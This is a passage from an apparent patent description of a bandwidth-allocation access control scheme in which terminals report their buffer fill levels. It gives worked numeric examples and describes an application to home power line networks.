A specific example of the above control scheme is described below. Here, it is assumed that the above-described packet transmission has been performed several times, thereby causing the amount of data stored in the buffer section 212 of the terminal station 21 to increase to 12000 bytes under the influence of, for example, retransmission required due to data errors and the amount of data stored in the buffer section 212 of the terminal station 22 to decrease to 12000 bytes under the influence of, for example, fluctuations in input data. As described with reference to FIG. 5, the band allocated to the terminal station 21 in the initial setting is 6 Mbps. That is, the amount of transmission data per one cycle is 7500 bytes (refer to FIG. 7). Therefore, the band is short of 4500 bytes ($=12000-7500$). On the other hand, the band allocated to the terminal station 22 in the initial setting is 12 Mbps. That is, the amount of transmission data per one cycle is 15000 (FIG. 7). Therefore, the band has an excess of 3000 bytes ($=15000-12000$).

Based on this analysis, the control station 11 increases the allocation to the terminal station 21 by two bands (5000 bytes) to 10 Mbps, while decreasing the allocation to the terminal station 22 by 1 band (2500 bytes) to 10 Mbps. Each band after this allocation change is as shown in FIG. 8.

However, the band shortage is not always covered by a free band or an excess band (hereinafter, an extra-band). In such cases, the extra-band may be equally allocated to each band. Alternatively, the extra-band may be allocated at a ratio at the initial setting. Still alternatively, the extra-band may be allocated according to the degree of priority. In one specific example of a scheme of allocating the extra-band according to the degree of priority, a time is calculated for each link by multiplying the transmission information of the data packet by a time-converted packet length, and a ratio of each calculated time with respect to the total time is further calculated. In another example, from each time calculated as above, a minimum guaranteed time is subtracted, and then a ratio of each time is further calculated (if the calculated ratio has a negative value, the calculated ratio is taken as "0"). According to the calculated ratios, allocation of the extra-band or the entire communication band is determined. Furthermore, in accordance with the priority shown in FIG. 3, a constant may be added to the value of the ratio or the value of the ratio may be multiplied by a constant.

As described above, according to the access control system of the first embodiment of the present invention, each terminal station transmits its transmission data added with transmission information indicative of the degree of the amount of data stored in the buffer, and the control station analyzes the transmission information to control the band allocation to each terminal. With this, the band can be allocated in accordance with the retransmission process or fluctuations in traffic.

In the above embodiment, band calculation is performed in the units of bytes. Alternatively, band calculation may be performed in the units of the number of packets or the number of buffers. Also, the control station 11 may have a data communication function as the terminal stations 21 and 22.

Furthermore, a scheme, such as discrete multi-tone (DMT), may be used in which the data portion of the packet can be received only by a specific terminal. In this case, the transmission information obtaining section may use a scheme, such as a modulation-demodulation scheme or an error correction scheme, in which all terminal stations can receive the data portion, and the scheme may be stricter than that applied to the data portion.

Second Embodiment

In the above first embodiment, system access control is performed by completely separating the terminal stations for data communication from the control station for managing band allocation of the terminal stations. In a second embodiment, an access control system is described in which all of the terminal stations and the control station perform data transmission.

FIG. 9 is a detailed functional block diagram illustrating communication terminals forming an access control system according to the second embodiment of the present invention. In FIG. 9, communication terminals 31 through 33 are identical in structure, each including a packet receiving section 311, a transmission information obtaining section 312, a buffer section 313, a transmission information generating section 314, and a packet transmitting section 315. In FIG. 9, the number of communication terminals are exemplarily three.

First, the structure of each of the communication terminals 31 through 33 is schematically described below.

The packet receiving section 311 receives a packet (which is equivalent to a frame) from another communication terminal. The transmission information obtaining section 312 obtains transmission information from the packet received by the packet receiving section 311 and, if no error is found in the packet, then outputs the data to the outside. Based on the obtained transmission information, the transmission information obtaining section 312 determines a packet transmission timing of its own communication terminal to control the packet transmission section 315. The buffer section 313 is a transmission buffer for temporarily storing data received from another component or an external device. The transmission information generating section 314 generates transmission information for specifying the amount of data that remains in the buffer section 313. Under the control of the transmission information obtaining section 312, the packet transmitting section 315 obtains data having a predetermined amount from the buffer section 313, generates a packet by adding the

transmission information generated by the transmission information generating section 314 to the obtained data, and then transmits the packet to another communication terminal.

Next, a control method performed by the access control system according to the second embodiment of the present invention is described below. It is assumed herein that communication links have been established from the communication terminal 31 to the communication terminal 32, from the communication terminal 32 to the communication terminal 33, and from the communication terminal 33 to the communication terminal 31. In this case, the amounts of data indicated by the transmission information generated in the communication terminals 31, 32, and 33 are 10000 bytes, 5000 bytes, and 15000 bytes, respectively. That is, the total band required in the entire system is 30000 ($=10000+5000+15000$).

The communication terminal 31 confirms from the transmission information received from the communication terminals 32 and 33 that a ratio of the amount of data stored in its own buffer section 313 with respect to the amount of data in the entire system is $1/3$ ($=10000/30000$). Upon confirmation of this ratio, the communication terminal 31 sets a threshold as 0.33, and then generates a random number in a range of 0 to 1 at predetermined time intervals to control so that data transmission is performed only when the random number is equal to or smaller than the threshold of 0.33.

Similarly, the communication terminal 32 confirms, based on the transmission information received from the communication terminals 31 and 33, that a ratio of the amount of data stored in its own buffer section 313 with respect to the amount of data in the entire system is $1/6$ ($=5000/30000$). Upon confirmation of this ratio, the communication terminal 32 sets a threshold as 0.17, and then generates a random number in a range of 0 to 1 at predetermined time intervals to control so that data transmission is performed only when the random number is equal to or smaller than the threshold of 0.17. Furthermore, the communication terminal 33 confirms from the transmission information received from the communication terminals 31 and 32 that a ratio of the amount of data stored in its own buffer section 313 with respect to the amount of data in the entire system is $1/2$ ($=15000/30000$). Upon confirmation of this ratio, the communication terminal 33 sets a threshold as 0.5, and then generates a random number in a range of 0 to 1 at predetermined time intervals to control so that data transmission is performed only when the random number is equal to or smaller than the threshold of 0.5.

With this process, the frequency of transmission performed by the communication terminals 31 through 33 can be controlled to $1/3$, $1/6$, and $1/2$, respectively, in proportion to the amount of data stored in the buffer section 313.

The threshold and the random number may be treated after being subjected to scaling. Also, if priorities are set to the communication links, a parameter for giving a weight to the threshold value and the random number may be provided to each priority. For example, parameters 0.5, 1, and 2 are set to priorities of 1, 2, and 3, respectively. In this case, if the communication link of the communication terminal 31 has a priority of 3, the communication link of the communication terminal 32 has a priority of 2, and the communication link of the communication terminal 33 has a priority of 1, each amount of data is multiplied by the parameter, thereby obtaining 20000 ($=10000 \times 2$) for the communication terminal 31, 5000 ($=5000 \times 1$) for the communication terminal 32, and 7500 ($=15000 \times 0.5$) for the communication terminal 33. Therefore, the total band required in the entire system is 32500 bytes ($=20000+5000+7500$).

Consequently, after calculation in the above-described manner, the ratio of the amount of data for the communication terminal 31 is $8/13$ ($=20000/32500$), and its threshold is 0.62. The ratio of the amount of data for the communication terminal 32 is $2/13$ ($=5000/32500$), and its threshold is 0.15. The ratio of the amount of data for the communication terminal 33 is $3/13$ ($=7500/32500$), and its threshold value is 0.23.

In some cases, if an error rate of packet transmission in a communication link is abnormally high, the amount of data in the buffer section 313 of a terminal performing communication through that communication link may be abnormally large. In such cases, setting a high threshold to that link will degrade throughput in the entire network. To prevent this problem, when the amount of data is larger than a predetermined amount, the amount of data may be converted to 0 or a predetermined small value for calculation of the ratio. With this, a high threshold is prevented from being set to the communication link having a large amount packet transmission errors.

As described above, according to the access control system of the second embodiment of the present invention, each communication terminal transmits its transmission data added with transmission information indicative of the degree of the amount of data stored in the buffer, and each communication terminal analyzes the transmission information to control the frequency of transmission (that is, the band allocation) of its own communication terminal. With this, the band can be allocated in accordance with the retransmission process and fluctuations in traffic. Furthermore, the communication band can be efficiently used by avoiding band congestion.

Each of the above-described embodiments is achieved by a CPU interpreting predetermined program data that is stored in a storage device (a ROM, a RAM, a hard disk, etc.) and is capable of causing the above-described processes to be performed. In this case, the program data may be introduced through a recording medium to the storage device or may be executed directly from the recording medium. The recording medium may be a semiconductor memory, such as a ROM, a RAM, and a flash memory, a magnetic disk memory, such as a flexible disk or a hard disk, an optical disk memory, such as a CD-ROM, a DVD, or a BD, or a memory card. Also, the recording medium may include a communication medium, such as a telephone line or a carrier path.

Also, all or part of the functional blocks forming each of the communication terminals of the present invention are typically achieved by a large-scale integrated (LSI) circuit (called an IC, a system LSI, a super LSI, an ultra LSI, or the like, depending on the degree of integration). Each of the blocks may be formed on one chip, or all or part of the blocks may be formed on one chip.

Also, circuit integration is achieved not only by an LSI but also by a dedicated circuit or a general-purpose processor. Further, a Field Programmable Gate Array (FPGA), which is programmable after manufacturing the LSI, or a reconfigurable processor capable of reconfiguring the connection of circuit cells and the setting inside the LSI can be used.

Furthermore, integration of the functional blocks can be performed by using a new circuit integration technology that would replace the LSI technology with the advance of the semiconductor technology or with the advent of another derivative technology. One possible technology that would be adapted for use is a biotechnological technique.

Description is made below to an example in which the present invention described in each of the above embodiments is applied to an actual network system. FIG. 10 is an illustration showing one example of a network system in which the medium access control system of the present invention is applied to high-speed power line transmission. In FIG. 10, via adaptors including the functional modules of the present invention, IEEE 1394 interfaces and USB interfaces included in multimedia devices, such as personal computers, DVD recorders, digital televisions, and home server systems, are connected to a power line. This makes it possible to configure a network system capable of high-speed transmission of digital data, such as multimedia data, with a power line being used as a medium. Unlike the conventional cable LAN, this system can use the power line already installed at home and offices as a network line without newly installing a network cable. Therefore, this system can be achieved at low cost and with easy installation, thereby offering a great convenience.

In the above example, by interposing an adaptor for converting a signal interface of each of the existing multimedia devices to an interface for power line communication, these existing devices are applied to power line communication. In the future, however, with the functions of the present invention being incorporated in the multimedia devices, data transmission among the devices can be performed via a power supply code of each of the multimedia devices. In this case, no adaptors, IEEE 1394 cables, or USB cables are required, thereby simplifying wiring. Also, connection to the Internet via a router and connection to a wireless/cable LAN using a hub or the like can be made, thereby making it possible to extend a LAN system using the high-speed power line transmission system of the present invention. Furthermore, in the power line transmission scheme, the communication data flows via the power line. Therefore, it is possible to prevent the problem of interception of radio waves which would lead to leakage of data. This power line transmission scheme is also effective for data protection in view of security. As a matter of course, data flowing through the power line is protected by, for example, IPsec in the IP protocol, encryption of the contents, other DRM schemes, etc.

As has been described above, by implementing QoS functions including a copyright protecting function achieved by encryption of the contents and the effects of the present invention (improvement in throughput and flexible adaptation of band allocation responsive to an increase in re-transmission or a traffic change), high-quality transmission of AV contents using the power line can be performed.

While the invention has been described in detail, the foregoing description is in all aspects illustrative and not restrictive. It is understood that numerous other modifications and variations can be devised without departing from the scope of the invention.